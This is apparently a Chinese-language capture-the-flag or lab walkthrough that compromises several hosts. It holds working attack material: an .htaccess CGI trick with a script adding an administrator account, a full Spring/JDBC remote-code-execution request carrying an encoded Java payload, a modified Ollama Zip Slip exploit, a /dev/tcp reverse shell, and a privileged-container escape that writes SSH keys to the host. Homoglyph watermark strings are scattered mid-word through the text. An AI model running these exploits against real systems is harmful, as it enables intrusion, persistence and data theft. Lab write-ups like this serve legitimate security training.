[1.8s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s] 有效端口数量: 65535
[40.9s] [*] 端口开放 172.22.10.7:8080
[5m31s] 扫描完成, 发现 1 个开放端口
[5m31s] 存活端口数量: 1
[5m31s] 开始漏洞扫描
[5m32s] POC加载完成: 总共387个,成功387个,失败0个
[5m32s] [*] 网站标题 http://172.22.10.7:8080 状态码:200 长度:6010 标题:金融数据库管理界面
[5m33s] 扫描已完成: 2/2
ollama:
root@web01:~# sudo ./FScan_2.0.1_linux_x64 -h 172.22.10.17 -p 1-65535
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[1.8s] 已选择服务扫描模式
[1.8s] 开始信息扫描
[1.8s] 最终有效主机数量: 1
[1.8s] 开始主机扫描
[1.8s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s] 有效端口数量: 65535
[1.9s] [*] 端口开放 172.22.10.17:22
[2.2s] [*] 端口开放 172.22.10.17:11434
[3.6s] 扫描完成, 发现 2 个开放端口
[3.6s] 存活端口数量: 2
[3.6s] 开始漏洞扫描
[35.9s] 扫描已完成: 1/1
2. web02
172.22.10.88:21 匿名登录 FTP
172.22.10.88:80 对应 FTP 处的 Web 服务
使用 SFTP 𝐬3𝐯e𝒏·sit𝐞读 FTP 资源,得到一个 .htaccess 和 index.html
由 Apache 𝐬⑶ⅴe𝐧.𝘀𝐢𝘵e文档 cgi 部分 可以发现,通过修改 .htaccess 可以把文件当作 cgi 直接执行
修改 .htac𝘴⑶𝐯ℯn.ꜱitecess 为:
Options ExecCGI
SetHandler cgi-script
此时该目录下的所有文件会被当作 𝒔⑶𝒗ℯ𝒏.sit𝐞cgi 直接执行
编写一个 bat 𝒔3𝐯e𝘯•ꜱi𝐭e脚本并上传到 FTP 目录下:
@echo off
echo Content-Type: text/plain
echo:
dir C:\Users\Administrator\Desktop
echo:
type C:\Users\Administrator\Desktop\f1ag.txt
echo:
net user s3ven xxxxxx /add && net localgroup administrators s3ven /add
:: 或者直接修改administrator的密码
:: net user administrator xxxxxx
访问对应路由即可实现s⑶𝒗𝐞n․ꜱi𝒕℮回显 RCE:
curl http://172.22.10.88/1.bat | iconv -f gbk -t utf-8
使用创建的用户或 administrator 登录 𝘀3ⅴe𝐧.𝐬i𝐭𝘦RDP 后查看网卡:
PS C:\Windows\system32> ipconfig
Windows IP 配置
以太网适配器 以太网:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::d497:7e6e:9a96:1023%6
IPv4 地址 . . . . . . . . . . . . : 172.22.10.88
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 172.22.10.253
只有一张网卡,没有多余的网卡,ꜱ𝟯ve𝒏.si𝘵℮因此不需要进一步横向,同时系统中也没有什么有用的文件和信息
3. database
172.22.10.7:8080 金融数据库管理界面
根据报错页面可以判断系统使用的是 𝐬3ⅴℯ𝒏.sⅈ𝘵eSpring 框架
存在 /h2-console 路由,尝试页面中列出的所有驱动后发现存在 ѕ3ⅴℯn·ѕⅈt℮PostgreSQL 的驱动依赖
因此尝试打不出网的 Tomcat 临时文件驻留 + socketFactory ѕ⑶𝘷e𝒏.𝒔i𝒕𝐞加载 Spring XML Bean 的回显 JDBC RCE
使用 java-chains 构造回显 ѕ𝟯v𝐞n∙ѕitexml bean

通过 boundary s⑶ⅴ𝘦n.sⅈte分段而不终结实现 Tomcat 临时文件驻留
POST / HTTP/1.1
Host: 172.22.10.7:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTybnkzTPpCAPkAti
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Length: 7982
------WebKitFormBoundaryTybnkzTPpCAPkAti
Content-Disposition: form-data; name="file"; filename="test.txt"
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="javax.xml.bind.DatatypeConverter.parseBase64Binary"/>
<property name="arguments">
<list>
<value>yv66vgAAADIBOwEASG9yZy9hcGFjaGUvYmVhbnV0aWxzL2NveW90ZS91dGlsL1R5cGVLZXk1YmU4NWI4MGI0OTE0OTc4OWQ3NzA4MmE3ZTUxYTFjNgcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAHDAAFAAYKAAQACQEAA3J1bgwACwAGCgACAAwBABBnZXRSZXFIZWFkZXJOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAA9YLUF1dGhvcml6YXRpb24IABABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HABIBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAUAQAQamF2YS9sYW5nL1RocmVhZAcAFgEACmdldFRocmVhZHMIABgBAA9qYXZhL2xhbmcvQ2xhc3MHABoBABJbTGphdmEvbGFuZy9DbGFzczsHABwBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB4AHwoAGwAgAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAiAQANc2V0QWNjZXNzaWJsZQEABChaKVYMACQAJQoAIwAmAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAAoACkKACMAKgEAE1tMamF2YS9sYW5nL1RocmVhZDsHACwBAAdnZXROYW1lDAAuAA8KABcALwEABGh0dHAIADEBABBqYXZhL2xhbmcvU3RyaW5nBwAzAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMADUANgoANAA3AQAIQWNjZXB0b3IIADkBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMADsAPAoABAA9AQAGdGFyZ2V0CAA/AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQQBCCgAbAEMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcARQoARgAmAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAEgASQoARgBKAQAIZW5kcG9pbnQIAEwBAAZ0aGlzJDAIAE4BAAdoYW5kbGVyCABQAQANZ2V0U3VwZXJjbGFzcwwAUgA8CgAbAFMBAAZnbG9iYWwIAFUBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAFcAWAoAGwBZAQAib3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdEdyb3VwSW5mbwgAWwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAXQEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAF8AYAoAXgBhCgAbAC8BAApwcm9jZXNzb3JzCABkAQATamF2YS91dGlsL0FycmF5TGlzdAcAZgEABHNpemUBAAMoKUkMAGgAaQoAZwBqAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABIAGwKAGcAbQEAA3JlcQgAbwEAB2dldE5vdGUIAHEBABFqYXZhL2xhbmcvSW50ZWdlcgcAcwEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAdQB2CQB0AHcBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwAeQB6CgB0AHsBAAlnZXRIZWFkZXIIAH0BAAlnZXRNZXRob2QMAH8AHwoAGwCADAAOAA8KAAIAggEAC2dldFJlc3BvbnNlCACEAQAJZ2V0V3JpdGVyCACGAQAOamF2YS9pby9Xcml0ZXIHAIgBAAZoYW5kbGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAigCLCgACAIwBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAjgCPCgCJAJABAAVmbHVzaAwAkgAGCgCJAJMBAAVjbG9zZQwAlQAGCgCJAJYBAARleGVjAQAHb3MubmFtZQgAmQEAEGphdmEvbGFuZy9TeXN0ZW0HAJsBAAtnZXRQcm9wZXJ0eQwAnQCLCgCcAJ4BAAt0b0xvd2VyQ2FzZQwAoAAPCgA0AKEBAAN3aW4IAKMBAAcvYmluL3NoCAClAQACLWMIAKcBAAdjbWQuZXhlCACpAQACL2MIAKsBABFqYXZhL2xhbmcvUnVudGltZQcArQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAK8AsAoArgCxAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAmACzCgCuALQBABFqYXZhL2xhbmcvUHJvY2VzcwcAtgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMALgAuQoAtwC6AQARamF2YS91dGlsL1NjYW5uZXIHALwBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAAUAvgoAvQC/AQACXGEIAMEBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAMMAxAoAvQDFAQAACADHAQAHaGFzTmV4dAEAAygpWgwAyQDKCgC9AMsBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcAzQoAzgAJAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7DADQANEKAM4A0gEABG5leHQMANQADwoAvQDVAQAIdG9TdHJpbmcMANcADwoAzgDYAQAKZ2V0TWVzc2FnZQwA2gAPCgAIANsBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDdAQATamF2YS9pby9JbnB1dFN0cmVhbQcA3wEABmV5SmVYQQgA4QEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoMAOMA5AoANADlAQAGbGVuZ3RoDADnAGkKADQA6AEABmNoYXJBdAEABChJKUMMAOoA6woANADsAQAVKEMpTGphdmEvbGFuZy9TdHJpbmc7DAB5AO4KADQA7wEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDADxAPIKAHQA8wEAAS4IAPUBAAdpbmRleE9mDAD3APIKADQA+AEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsMAPoA+woANAD8AQAMYmFzZTY0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</value>
</list>
</property>
</bean>
<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg ref="decoder"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="5111"/>
</bean>
<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
------WebKitFormBoundaryTybnkzTPpCAPkAti
最后构造 JDBC URL 实例化临时驻留的 𝘀³ven.ꜱ𝘪t𝘦xml bean 触发回显 RCE 获得 flag:
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=file://${catalina.home}/work/Tomcat/localhost/ROOT/*.tmp
4. ollama
172.22.10.17:11434 存在 ollama 服务
先查看一下 os³𝘷e𝘯•ѕ𝐢𝒕ellama 的版本
curl http://172.22.10.17:11434/api/version
{"version":"0.1.46"}
版本号为 0.1.46,存在 Zip Slip 漏洞,但是该漏洞需要先有一个可用模型才能触发
curl http://172.22.10.17:11434/api/tags
{"models":[]}
远程没有发现可用模型,且靶机没有网无法 pull 𝐬⑶𝒗ℯ𝐧·𝘴i𝐭e模型,需要本地上传模型来触发漏洞
使用 Ollama CVE-2024-45436 Exploit,修改为本地上传 gguf ꜱ⑶𝐯e𝘯.ꜱit𝐞然后手动 create 模型:
with zipfile.ZipFile('evil.zip', 'w') as zipf:
zipf.writestr('../../../../../../../../../../etc/ld.so.preload', '/tmp/hook.so')
with open('hook.so', 'rb') as so_file:
zipf.writestr('../../../../../../../../../../tmp/hook.so', so_file.read())
+ with open('all-minilm-22m.gguf', 'rb') as model_file:
+ zipf.writestr('../../../../../../../../../../tmp/all-minilm-22m.gguf', model_file.read())
return True
- json_content = json.dumps({"name": model})
+ json_content = json.dumps({"name": "all-minilm:22m", "modelfile": f"FROM /tmp/all-minilm-22m.gguf"})
res = requests.post(
- f"{target_url}/api/pull",
+ f"{target_url}/api/create",
headers={'Content-Type': 'application/json'},
data=json_content,
- timeout=120 # Allow longer timeout for model pull
+ timeout=10
)
跑 exp 反弹𝐬3ve𝒏.ꜱ𝘪𝐭e shell:
proxychains python3 exp.py http://172.22.10.17:11434 "/bin/sh -i >& /dev/tcp/172.22.10.22/8083 0>&1"
拿到 shell 𝘴𝟯𝘷en·𝘀𝘪𝘵𝐞之后发现存在 .dockerenv,判断当前是在 docker 里:
$ ls -la /
-rwxr-xr-x 1 root root 0 Jul 14 05:23 .dockerenv
查看 dockerꜱ³ven∙𝒔i𝘵e 容器权限:
$ grep -E 'Cap(Inh|Prm|Eff|Bnd|Amb):|Seccomp:' /proc/self/status
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Seccomp: 0
发现当前容器为特权容器,直接挂载宿主机根目录并写入 ssh key:
$ lsblk -f
NAME FSTYPE FSVER LABEL UUID FSAVAIL FSUSE% MOUNTPOINTS
vda
|-vda1
|-vda2
`-vda3 32.2G 13% /etc/hosts
/etc/hostname
/etc/resolv.conf
/root/.ollama
$ mkdir /test && mount /dev/vda3 /test
$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdsRDDmr8YmYWyHqAnpDB46G3F9+nr6zhPxzfOQTJJ+" > /test/root/.ssh/authorized_keys
这里也可以传一个 cdk s³ven.ꜱi𝒕e来自动化逃逸:
+ with open('cdk_linux_amd64', 'rb') as cdk_file:
+ zipf.writestr('../../../../../../../../../../tmp/cdk', cdk_file.read())
chmod +x /tmp/cdk
/tmp/cdk auto-escape "echo 'ZWNobyAic3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSURkc1JERG1yOFltWVd5SHFBbnBEQjQ2RzNGOStucjZ6aFB4emZPUVRKSisiID4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXM=' | base64 -d | bash"
all exploits are finished, auto exploit success!
ssh 登录后查看网卡:
root@Ollama:~# ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:2cff:fecb:7254 prefixlen 64 scopeid 0x20<link>
ether 02:42:2c:cb:72:54 txqueuelen 0 (Ethernet)
RX packets 16073 bytes 858401 (858.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 23199 bytes 415329894 (415.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.10.17 netmask 255.255.255.0 broadcast 172.22.10.255
inet6 fe80::216:3eff:fe10:d9d4 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:10:d9:d4 txqueuelen 1000 (Ethernet)
RX packets 502671 bytes 458217126 (458.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 231109 bytes 13688236 (13.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.20.11 netmask 255.255.255.0 broadcast 172.22.20.255
inet6 fe80::216:3eff:fe10:d9e5 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:10:d9:e5 txqueuelen 1000 (Ethernet)
RX packets 13188 bytes 1615163 (1.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 15242 bytes 2310239 (2.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 51086 bytes 4182773 (4.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 51086 bytes 4182773 (4.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth5a67c36: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::5471:18ff:fe4d:6e43 prefixlen 64 scopeid 0x20<link>
ether 56:71:18:4d:6e:43 txqueuelen 0 (Ethernet)
RX packets 16073 bytes 1083423 (1.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 23215 bytes 415331110 (415.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
扫描二层内网对应网段
root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.0/24
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[3.4s] 已选择服务扫描模式
[3.4s] 开始信息扫描
[3.4s] CIDR范围: 172.22.20.0-172.22.20.255
[3.4s] generate_ip_range_full
[3.4s] 解析CIDR 172.22.20.0/24 -> IP范围 172.22.20.0-172.22.20.255
[3.4s] 最终有效主机数量: 256
[3.4s] 开始主机扫描
[3.4s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[3.4s] [*] 目标 172.22.20.11 存活 (ICMP)
[3.4s] [*] 目标 172.22.20.165 存活 (ICMP)
[3.4s] [*] 目标 172.22.20.25 存活 (ICMP)
[3.4s] [*] 目标 172.22.20.253 存活 (ICMP)
[3.4s] [*] 目标 172.22.20.38 存活 (ICMP)
[3.4s] [*] 目标 172.22.20.32 存活 (ICMP)
[6.4s] 存活主机数量: 6
[9.6s] [*] NetInfo 扫描结果
目标主机: 172.22.20.32
主机名: FPSRVFS02
发现的网络接口:
IPv4地址:
└─ 172.22.20.32
[9.7s] [*] NetInfo 扫描结果
目标主机: 172.22.20.25
主机名: FPSRVAD01
发现的网络接口:
IPv4地址:
└─ 172.22.20.25
[9.7s] [*] NetInfo 扫描结果
目标主机: 172.22.20.165
主机名: FPSRVIIS03-2
发现的网络接口:
IPv4地址:
└─ 172.22.20.165
[9.7s] [*] NetInfo 扫描结果
目标主机: 172.22.20.38
主机名: FPSRVIIS03
发现的网络接口:
IPv4地址:
└─ 172.22.20.38
[9.7s] [+] NetBios 172.22.20.32 FPCORP\FPSRVFS02
[9.7s] [+] NetBios 172.22.20.25 DC:FPCORP\FPSRVAD01
[9.7s] [+] NetBios 172.22.20.165 FPCORP\FPSRVIIS03-2
[9.7s] [+] NetBios 172.22.20.38 FPCORP\FPSRVIIS03
FPSRVIIS03:
root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.38 -p 1-65535
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[1.8s] 已选择服务扫描模式
[1.8s] 开始信息扫描
[1.8s] 最终有效主机数量: 1
[1.8s] 开始主机扫描
[1.8s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s] 有效端口数量: 65535
[1.9s] [*] 端口开放 172.22.20.38:445
[1.9s] [*] 端口开放 172.22.20.38:80
[1.9s] [*] 端口开放 172.22.20.38:139
[1.9s] [*] 端口开放 172.22.20.38:135
[1.9s] [*] 端口开放 172.22.20.38:21
[7.9s] [*] 端口开放 172.22.20.38:3389
[10.1s] [*] 端口开放 172.22.20.38:5357
[10.9s] [*] 端口开放 172.22.20.38:5985
[13.9s] [*] 端口开放 172.22.20.38:8080
[13.9s] [*] 端口开放 172.22.20.38:8172
[38.1s] [*] 端口开放 172.22.20.38:47001
[39.3s] [*] 端口开放 172.22.20.38:49669
[39.3s] [*] 端口开放 172.22.20.38:49668
[39.3s] [*] 端口开放 172.22.20.38:49666
[39.3s] [*] 端口开放 172.22.20.38:49667
[39.3s] [*] 端口开放 172.22.20.38:49664
[39.3s] [*] 端口开放 172.22.20.38:49665
[39.3s] [*] 端口开放 172.22.20.38:49673
[39.3s] [*] 端口开放 172.22.20.38:49672
[39.3s] [*] 端口开放 172.22.20.38:49671
[48.2s] 扫描完成, 发现 20 个开放端口
[48.2s] 存活端口数量: 20
[48.2s] 开始漏洞扫描
[48.3s] [*] 网站标题 http://172.22.20.38 状态码:404 长度:315 标题:Not Found
[48.3s] [*] NetInfo 扫描结果
目标主机: 172.22.20.38
主机名: FPSRVIIS03
发现的网络接口:
IPv4地址:
└─ 172.22.20.38
[48.3s] [+] NetBios 172.22.20.38 FPCORP\FPSRVIIS03
[48.3s] POC加载完成: 总共387个,成功387个,失败0个
[48.3s] [+] FTP服务 172.22.20.38:21 匿名登录成功!
[48.3s] [*] 网站标题 http://172.22.20.38:8080 状态码:200 长度:5078 标题:IntraFetch
[48.3s] [*] 网站标题 https://172.22.20.38:8172 状态码:404 长度:0 标题:无标题
[1m11s] 扫描已完成: 16/16
FPSRVIIs³𝐯𝘦𝒏·sit𝐞S03-2:
root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.165 -p 1-65535
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
